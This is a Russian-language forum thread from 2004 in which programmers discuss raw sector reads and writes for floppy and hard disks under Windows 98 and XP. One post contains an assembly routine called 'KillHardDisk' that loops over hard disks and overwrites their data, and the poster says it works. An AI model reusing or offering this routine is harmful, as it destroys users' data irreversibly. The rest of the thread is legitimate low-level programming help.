|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Янв 12, 2004 20:43:52 · Поправил: vaskovich Здра. Избитая тема, но мне все равно интересно :-) В окнах 98 сабж делается с помощью DeviceIoControl, но это - всего лишь легальный вызов досявого 21h/7305h. Нет ли такой же штуки, только 13h/02h? Нужна CHS адресация и не нужен fat. Если совсем ничего подобного нет, plz подскажите как то, что надо винде, перевести в CHS. |
|
|
Дата: Янв 13, 2004 00:14:07 Нет такой штуки, как вообще можно прерывания биоса из защищённого режима вызывать, интересно? Под Win9x только драйвер с инструкциями in/out, т.е. через порты читать, под XP проще - CreateFile и ReadFile. |
|
|
Дата: Янв 13, 2004 06:54:56 А прерывания биоса как раз и не требуются, да и работа с портами тоже нежелательна. Нет ли именно какого нить сервиса винды? Я тут, к сожалению, не спец, но под 9x был такой VWIN32. А насчет CreateFile можно ли поподробнее? Или линк хороший может кто знает? Вроде это должен быть тот же 21h/7305h -- то бишь absolute disk read. Да и адрес в таком случае не CHS :-( |
|
|
Дата: Янв 13, 2004 09:44:55 если под 9х то можно так: 1. mov ah,0 ;0-дискета....сработало....записалось.... ;на HDD не пишет....может кто-нить подскажет ;как заставить на HDD сектор записать???? al,0 mov cx,1 ;один сектор mov dx,2 ;начиная со второго сектора mov ebx,offset buffer ;что записывать push dword ptr 26h VMMCall Exec_VxD_Int 2. ;R0_WRITEABSOLUTEDISK equ 0DE00h ;mov ah,R0_ABSDISKWRITE - вот это в ддк98 есть, ;а в инклюдниках нету....и чему оно равно не знаю.... mov ax,R0_WRITEABSOLUTEDISK shr 8 mov al,2 mov ecx,1 mov edx,2 mov esi,offset buffer VxDCall IFSMgr_Ring0_FileIO но таким способом у меня что-то ничо не получилось записать,даже на дискету.... Если кто знает как заставить винду 9х на HDD писать в сектора (из драйвера)....подскажите.... Есть еще такой вот кусок кода (но я не понял что там за числа): KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h ???? mov bh, 08h ???? push ebx push ecx push ecx push ecx push 40000501h ???? inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd 00100004h ;VXDCall IOS_SendCommand cmp word ptr [esi+06h], 0017h je KillNextDataSection ChangeNextHardDisk: inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk KillNextDataSection: add dword ptr [esi+10h], ebx mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk он точно работает....вчера проверил на своем винте.... |
|
|
Дата: Янв 13, 2004 13:44:55 Дык ладно. Винты мне убивать не надо, мне надо дискеты живыми и здоровыми сохранять :-) Все равно спасиб, пойду еще поковыряюсь :-) |
|
|
Дата: Янв 16, 2004 22:37:16 Ага с чтением под XP ясно, а с записью что-то он меня лажает :-( fdd=CreateFile("\\\\.\\A:",GENERIC_WRITE,0,NULL,OPEN_EXISTING,0,NULL); // все нормально
WriteFile(fdd,data,size,&written,NULL); // ругается: GetLastError() возвращает ERROR_INVALID_PARAMETER :-0
Как-то странно... |
|
|
Дата: Янв 16, 2004 23:01:10 vaskovich Сделай data и size кратными 512 и поиск по форуму. |
|
|
Дата: Янв 16, 2004 23:18:35 А data то зачем кратно 512? Только size должно быть выравнено по границе сектора, а в противном случае действительно ERROR_INVALID_PARAMETER. |
|
|
Дата: Янв 17, 2004 09:04:29 |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.093 |